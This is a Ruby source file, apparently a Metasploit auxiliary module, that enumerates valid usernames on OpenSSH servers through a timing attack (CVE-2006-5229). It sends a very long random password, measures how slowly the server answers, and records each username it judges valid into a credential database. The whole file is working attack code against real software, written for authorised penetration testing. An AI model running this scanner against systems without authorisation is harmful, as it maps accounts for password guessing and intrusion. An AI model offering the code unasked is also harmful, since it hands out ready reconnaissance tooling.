195 lines
5.0 KiB
Ruby
195 lines
5.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::CommandShell
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include Msf::Exploit::Remote::SSH
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SSH Username Enumeration',
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'Description' => %q{
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This module uses a time-based attack to enumerate users on an OpenSSH server.
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On some versions of OpenSSH under some configurations, OpenSSH will return a
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"permission denied" error for an invalid user faster than for a valid user.
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},
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'Author' => ['kenkeiras'],
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'References' =>
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[
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['CVE', '2006-5229'],
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['OSVDB', '32721'],
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['BID', '20418']
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::Proxies,
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Opt::RPORT(22),
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OptPath.new('USER_FILE',
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[true, 'File containing usernames, one per line', nil]),
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OptInt.new('THRESHOLD',
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[true,
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'Amount of seconds needed before a user is considered ' \
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'found', 10])
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], self.class
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)
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register_advanced_options(
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[
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OptInt.new('RETRY_NUM',
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[true , 'The number of attempts to connect to a SSH server' \
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' for each user', 3]),
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OptInt.new('SSH_TIMEOUT',
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[false, 'Specify the maximum time to negotiate a SSH session',
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10]),
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OptBool.new('SSH_DEBUG',
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[false, 'Enable SSH debugging output (Extreme verbosity!)',
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false])
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]
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)
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end
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def rport
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datastore['RPORT']
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end
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def retry_num
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datastore['RETRY_NUM']
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end
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def threshold
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datastore['THRESHOLD']
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end
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# Returns true if a nonsense username appears active.
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def check_false_positive(ip)
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user = Rex::Text.rand_text_alphanumeric(8)
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result = attempt_user(user, ip)
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return(result == :success)
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end
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def check_user(ip, user, port)
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pass = Rex::Text.rand_text_alphanumeric(64_000)
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factory = ssh_socket_factory
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opt_hash = {
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:auth_methods => ['password', 'keyboard-interactive'],
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:port => port,
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:use_agent => false,
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:password => pass,
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:config => false,
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:proxy => factory,
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:non_interactive => true
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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start_time = Time.new
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begin
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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Net::SSH.start(ip, user, opt_hash)
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end
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rescue Rex::ConnectionError
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return :connection_error
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rescue Net::SSH::Disconnect, ::EOFError
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return :success
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rescue ::Timeout::Error
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return :success
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rescue Net::SSH::Exception
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end
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finish_time = Time.new
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if finish_time - start_time > threshold
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:success
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else
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:fail
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end
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end
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def do_report(ip, user, port)
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service_data = {
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address: ip,
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port: rport,
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service_name: 'ssh',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: user,
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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}.merge(service_data)
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create_credential_login(login_data)
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end
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# Because this isn't using the AuthBrute mixin, we don't have the
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# usual peer method
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def peer(rhost=nil)
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"#{rhost}:#{rport} - SSH -"
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end
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def user_list
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if File.readable? datastore['USER_FILE']
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File.new(datastore['USER_FILE']).read.split
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else
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raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
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end
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end
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def attempt_user(user, ip)
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attempt_num = 0
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ret = nil
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while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
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if attempt_num > 0
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Rex.sleep(2 ** attempt_num)
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vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
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end
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ret = check_user(ip, user, rport)
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attempt_num += 1
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end
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ret
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end
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def show_result(attempt_result, user, ip)
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case attempt_result
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when :success
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print_good("#{peer(ip)} User '#{user}' found")
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do_report(ip, user, rport)
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when :connection_error
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print_error("#{peer(ip)} User '#{user}' on could not connect")
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when :fail
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print_error("#{peer(ip)} User '#{user}' not found")
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end
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end
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def run_host(ip)
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print_status "#{peer(ip)} Checking for false positives"
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if check_false_positive(ip)
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print_error "#{peer(ip)} throws false positive results. Aborting."
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return
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else
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print_status "#{peer(ip)} Starting scan"
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user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
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end
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end
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end
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